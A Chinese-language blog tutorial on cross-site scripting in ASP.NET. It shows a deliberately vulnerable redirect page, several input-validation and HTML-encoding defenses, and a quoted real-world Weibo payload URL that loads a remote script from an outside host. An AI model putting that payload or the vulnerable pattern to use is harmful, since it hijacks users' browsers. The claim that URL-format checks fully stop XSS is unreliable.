1.1.1 摘要
在本系列的第一篇博文中,我向大家介紹了SQL Injection常用的攻擊和防範的技術。這個漏洞可以導致一些非常嚴重的後果,但幸運的是我們可以通過限制使用者資料庫的許可權、使用參數化的SQL語句或使用ORM等技術來防範SQL Injection的發生,接來了要向大家介紹Cross-site scripting(XSS)。
定義:Cross-site scripting(XSS),是一種經常出現在Web應用中的電腦安全性漏洞,它允許惡意Web使用者將代碼植入到提供給其它使用者使用的頁面中。比如,包括HTML代碼和用戶端指令碼的頁面。為不和層疊樣式表(CSS)的縮寫混淆,通常將跨站指令碼縮寫為XSS。攻擊者一般會利用XSS漏洞旁路掉存取控制——例如同源策略(same origin policy)或發起phishing攻擊,網頁掛馬,cookie竊取等。
上面的定義有點彆扭不好理解,讓我們回憶一下SQL Injection是把惡意的代碼注入的資料庫並且執行該SQL語句,最後返回相應資料,所以SQL Injection是作用於資料庫的,而XSS是通過發送惡意的代碼到服務,讓伺服器把惡意代碼發送到其他使用者瀏覽器中,最後劫持使用者瀏覽器,所以XSS是作用於使用者的。
1.1.2 本文
XSS主要攻擊方式有兩種:
一種就像SQL Injection攻擊一樣,我把一段指令碼注入到伺服器上,使用者存取方法伺服器的某個URL,這個URL就會把遠端的js注入進來,這個js有可能自動進行很多操作。比如這次事件中的幫你發微博,幫你發站內訊息等。注入有很多方法,比如:提交表單,更改URL參數,上傳圖片,設定簽名,等等。
另一類則是來自外部的攻擊,主要指的自己構造XSS 跨站漏洞網頁或者尋找非目標機以外的有跨站漏洞的網頁。如當我們要滲透一個網站,我們自己構造一個跨站網頁放在自己的伺服器上,然後通過結合其它技術,如社交工程學等,欺騙目標伺服器的管理員開啟。這一類攻擊的威脅相對較低,至少Ajax 要發起跨站調用是非常困難的(你可能需要hack瀏覽器)。
現在讓我們通過具體的例子來看看XSS攻擊是如何發生的,假設現在有一個招聘網站www.examplejob.com,它提供在該網站已註冊的使用者發布招聘資訊和發送招聘資訊到註冊使用者的功能。
圖1 發布正常招聘資訊
通過該網站的發布招聘資訊功能,我們把招聘資訊發送到該網站的伺服器中,然後伺服器會把資訊發送到註冊使用者中,這樣我們就實現了發布資訊的目的了,然而當一些不懷好意好意的使用者他們很可能利用該網站存在的漏洞對使用者進行攻擊。
圖2發布惡意招聘資訊
如所示,不懷好意好意的使用者會把惡意代碼,如:JavaScript, VBScript, ActiveX, HTML或 Flash等,把它們嵌入到發布的資訊中去,然後發送到伺服器中,如果伺服器沒有很好的校正資訊,直接把資訊轉寄到使用者,這將導致一場XSS攻擊災難。
通過上面的示意例子我們發現XSS攻擊和SQL Injection存在著相同點,它們是通過注惡意代碼進行攻擊的,不同點是它們攻擊對象不盡相同。
XSS是通過注入惡意代碼,如:JavaScript, VBScript, ActiveX, HTML, 或 Flash等來劫持使用者瀏覽器,進而通過構造惡意的URL。
通過構造惡意URL攻擊
假設現在有一個網站,它提供連結到www.examplejob.com網站的連結,這樣連結再普通不過了,但大家有沒有思考過這些外部連結可能存在危險呢?
圖3 正常頁面跳轉
通過,可以看到狀態列告訴我們這個連結將跳轉到http://www.exmplejob.com,為了更加直觀地分析XSS攻擊,我們直接在地址欄中添加url參數實現跳轉,示意代碼如下:
頁面實現:
<p>You are now leaving this site - we're no longer responsible!</p> <p><asp:Literal runat="server" ID="litLeavingTag" /></>
Code Behind:
var url = Request.QueryString["url"];litLeavingTag.Text = string.Format("<a href={0} >examplejob</a>", url);
我們通過QueryString來擷取URL中傳遞的參數,如果URL中包含了惡意代碼,那麼惡意代碼將跳轉到惡意網站或者直接執行惡意代碼劫持使用者瀏覽器。
圖4構造惡意URL
我們在地址欄中輸入一段Javascript代碼,這也是XSS常用的攻擊手段,它通過構造惡意的URL,當使用者點選連結後,實現在使用者的瀏覽器中運行惡意的代碼。
圖5構造惡意URL
當我們點選連結後,這次瀏覽器運行了惡意Javascript代碼彈出了一個訊息框提示我們已經被黑了,但實際情況XSS攻擊並不會那麼容易被使用者察覺,而且攻擊不僅僅是彈一個提示框。
校正使用者輸入
在前一博文中,我們通過Regex來校正使用者輸入是否包含惡意代碼來防禦SQL Injection攻擊,而這裡我們也是通過Regex來檢驗使用者輸入是否包含惡意的代碼。
由於RFC3986規範中,規定只允使用19保留字元可以執行一些特殊功能,那麼接下來讓我們實現URL的Regex校正吧。
圖6 URL中保留字元
var url = Request.QueryString["url"];if (!string.IsNullOrEmpty(url)){ this.litLeavingTag.Text = Regex.IsMatch(url, @"\w+:\/{2}[\d\w-]+(\.[\d\w-]+)*(?:(?:\/[^\s/]*))*") ? string.Format("<a href={0} >examplejob</a>", url) : "The url is invalid.";}
這裡我們使用了Regex的靜態方法IsMatch()方法對URL進行校正,當我們試圖再次注入惡意的Javascript代碼時,成功的校正出了該URL是非法的。(想查看更強大URL校正請點這裡)
圖7 Regex校正
前面我們使用自訂的正則表示式對URL進行校正,但.NET Framework中已經提供了校正URL是否合法的方法Uri.IsWellFormedUriString(),我們只需把URL字串傳遞給它進行校正就OK了,接下來讓我們實現校正URL的功能。
MSDN:預設情況下,字串被認為是符合 RFC 2396 和 RFC 2732 的標準格式的,如果啟用國際資源標識符(IRIs)或國際化網域名稱解析(IDN)分析時,則符合RFC 3986和RFC 3987規範的字串被認為是完備的,符合規範的。
var url = Request.QueryString["url"];// Adds the method to validate the url is correct or not.if (Uri.IsWellFormedUriString(url, UriKind.Absolute)){ litLeavingTag.Text = string.Format("<a href={0} >examplejob</a>", url);}else{ litLeavingTag.Text = "The url is invalid.";}
圖8 Regex校正
當我們再次執行包含惡意Javascript代碼的URL時,程式成功的校正出了URL中包含了惡意代碼,這也就可以有效防禦XSS攻擊了。
使用.NET中的ValidateRequest校正
.NET Framework中提供ValidateRequest屬性防禦XSS攻擊,由於ValidateRequest的預設值為true,當頁面中沒有設定ValidateRequest屬性值時,則頁面預設需要請求驗證,反之ValidateRequest為false時,頁面無需請求驗證,所以我們無需編寫一行代碼,就可以有效防禦XSS攻擊。
我們把Regex校正功能登出了,然後在頁面或Web.Config檔案中,將ValidateRequest值設定為true,實現代碼如下:
頁面中設定:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="security.aspx.cs" Inherits="security" ValidateRequest="true" %>
Web.Config中的ValidateRequest屬性應用於所有頁面:
<pages validateRequest="true" />
圖9 ValidateRequest校正
HTML編碼輸出
XSS漏洞是由於程式在輸出資料的時候沒有作好處理導致惡意代碼被瀏覽器解析造成的,所以另一種必不可少的XSS防禦策略是輸出編碼方式,它通過確保在一個字串中的每個字元都以正確的形式呈現。例如,為了在瀏覽器中正確地呈現“<”,“>”或空格等文本時,我們需要對其進行編碼處理,否則瀏覽器將根據這些特性文本去執行其功能,而不是正確的呈現在頁面上。
我們常見的HTML編碼有: ,<,>和" 等等。
通常,我們需要在網頁上顯示使用者輸入的資料,這時HttpUtility.HtmlEncode()方法派上用場了。
使用HttpUtility.HtmlEncode()方法來進行編碼的輸出,如果在傳遞的字串中包含標點符合,它就會對該字元進行編碼處理,如下面的範例程式碼所示。
protected void btnSubmit_Click(object sender, EventArgs e){ string inputText = this.Request.Form["txtInput"]; if (!string.IsNullOrEmpty(inputText)) { // Encodes text. this.litLeavingTag.Text = HttpUtility.HtmlEncode(inputText); }}
圖10 提交惡意代碼
上面我們把包含惡意Javascript代碼提交到伺服器。
圖11 Html編碼輸出
伺服器使用.NET Framework中提供的靜態方法——HttpUtility.HtmlEncode()對字串中的標點符號進行編碼處理,我們看到符號“<”和“>”被轉化成為“<”和“>”了。
非HTML編碼輸出
前面對呈現的文本都使用了HTML編碼輸出,事實上並非所有的輸出都為HTML編碼。JavaScript就是一個很好的例子,讓我們回憶一下前面的介紹的例子You have been hacked,我們把文本顯示在一個訊息提示框中,而非直接呈現在頁面上。
圖12 非Html編碼輸出
當我們把HTML編碼後的文本通過訊息提示框顯示時,文本還是以編碼後的形式顯示沒有進行解碼處理,但使用者一看到他們的第一反應就是說我們的程式出現亂碼有問題,其實我們心知只是還沒有進行解碼處理而已,所以在一些非HTML編碼中我們還要先進行解碼處理HttpUtility.HtmlDecode()方法。
想必大家對新浪微博XSS攻擊事件記憶猶新吧!它利用了微博廣場頁面 http://weibo.com/pub/star 的一個URL注入了js指令碼,然後通過http://163.fm/PxZHoxn短連結服務,將連結指向:
">">">http://weibo.com/pub/star/<script src=//www.2kt.cn/images/t.js></script>
URL編碼後顯示:
http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update
通過上面的例子大家發現其實上面的XSS攻擊也並不是那麼神秘。
1.1.3 總結
XSS攻擊作為Web業務的最大威脅之一,它犯下了種種罪行例如新浪微博的XSS攻擊事件,不僅危害Web業務本身,對訪問Web業務的使用者也會帶來直接的影響,如何防禦和阻止XSS攻擊,保障Web網站的業務安全,這個重擔有落到每一位開發人員的身上了。
參考:
http://msdn.microsoft.com/en-us/library/ms998274
http://baike.baidu.com/view/2161269.htm
http://coolshell.cn/articles/4914.html
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)